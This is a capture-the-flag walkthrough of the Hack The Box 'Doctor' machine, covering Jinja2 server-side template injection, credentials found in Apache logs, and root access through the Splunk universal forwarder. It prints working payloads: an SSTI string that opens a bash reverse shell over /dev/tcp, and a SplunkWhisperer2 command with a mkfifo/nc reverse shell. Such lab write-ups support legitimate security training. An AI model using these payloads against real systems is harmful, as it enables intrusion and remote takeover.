Overview
This machine features an Apache Server on port 80. We find a virtual host by adding the webpage suggested domain to our /etc/hosts file and this brings us to the login for the doctors application. The system is vulnerable to sever side template injection and successful exploitation provides access as use "web". Enumerating logs provides credentials to Shaun's account. The splunk universal forwarder on 8089 runs as root and can be exploited with RCE using Shaun's credentials.
Skills learned
Identifying Server Side Template Injection
Exploiting SSTI for Remote code execution
Exploiting Spunk
Tools Used
Splunk whisperer
SSTI enumeration model
Lessons Learned
Always enumerate var logs sooner than later
Recon
Enumeration
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8089/tcp open unknown
Enumeration Detailed
HTTPS
I always like to have a few things happening at once. Before exploring the website I kick off GoBuster to start checking for directories.
Looking around the website provided some information regarding the internal domain.
As in many hack the box engagements the ability to enumerate for internal domains can pay off quite quickly. Here we find doctos.htb and drop this into our /etc/hosts file.
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot-virtual
10.10.10.209 doctors.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
DOCTORS
We have a new attack surface and it is probably a good idea we investigate this portal with several tools and at a deeper level. We can start by using burpsuite to intercept the connection request, and drop this into sqlmap and start testing for sql injection. I also get a directory buster started to learn about any possible directories that could assist us.
Moments later I learned I was able to create my own account and login. After some recon and considerable time testing cross site scripting I started to research server side template injection on the message post screen.
Inspecting the code of the webpage yielded the suggestion of an archive directory, incase your dirbuster did not pick it up.
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
Reviewing the archive page initially shows nothing, but the page code shows that are post was stored server side in a template.
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>Test</title></item>
</channel>
If we can control any of the variables we can try character escaping and pass code right to the server provided the title variable is not sanitized.
This model will help with enumerating for the specific back end template engine. Which allows for the determination of payloads and remote code execution capabilities.
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>${7*7}</title></item>
</channel>
The title is still the same and there appears to be no execution of code, so we take the next option on SSTI model.
Trying {{7*7}} however works providing us the number <title>49</title>.
From here we determine the specific template engine and change our payload by adding a few quotes to it.
{{7*'7'}}
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>7777777</title></item>
</channel>
The SSTI testing model suggests if we get al 7's then we are dealing with JinJa2 and some basic research will show us a RCE string for a reverse connection.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.34/6363 0>&1'").read()}}{%endif%}{%endfor%}
From here it is smooth sailing as we spin up a listener on port 6363
Upgrade to User
Checking the environment variables shows that python3 is installed. The first thing we do is upgrade our shell as usual.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Uploading and running linpeas results in several grep lines to various folder locations. One of them is var log obviously and that is where we find a password.
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
Lin peas also shows two other users, splunk and shaun.
Switching user to shaun with password Guitar123 provides a successful login.
Privilege Escalation
Going back to our port scan we recall the splunk service running on port 8089 and this will be our primary focus for root privilege's. A little research on this "Splunk forwarder" service yields allot of information with specific mention of a known vulnerability allowing for access to a super user account. This link here had a great description.
The vulnerability lies in the Splunk universal forwarder that allows remote connections by default over the management service. This service can be leveraged to issue commands or scripts via the forwarder agents utilizing the API. There is no security to verify the host issuing commands or to verify integrity or signing of the code. The exploit provides the same level of privilege's that the Forwarder is running as.
From here some research will lead you to the SplunkWhisperer2 over at github. This can be installed with git clone and moving into the directory we can test the default Splunk credentials.
python3 PySplunkWhisperer2_remote.py --host "ip address" --lhost "ip address" payload id
This did not work, but we can try using user Shaun's credentials. This initially works and returns as a successful authentication attempt. So we take it a step further for a reverse shell with the following command.
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --username shaun -- password Guitar123 --lhost "ipaddr" --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "ipaddr" PORT >/tmp/f'
This catches us our reverse connection as root and we cap the flag :)
Comments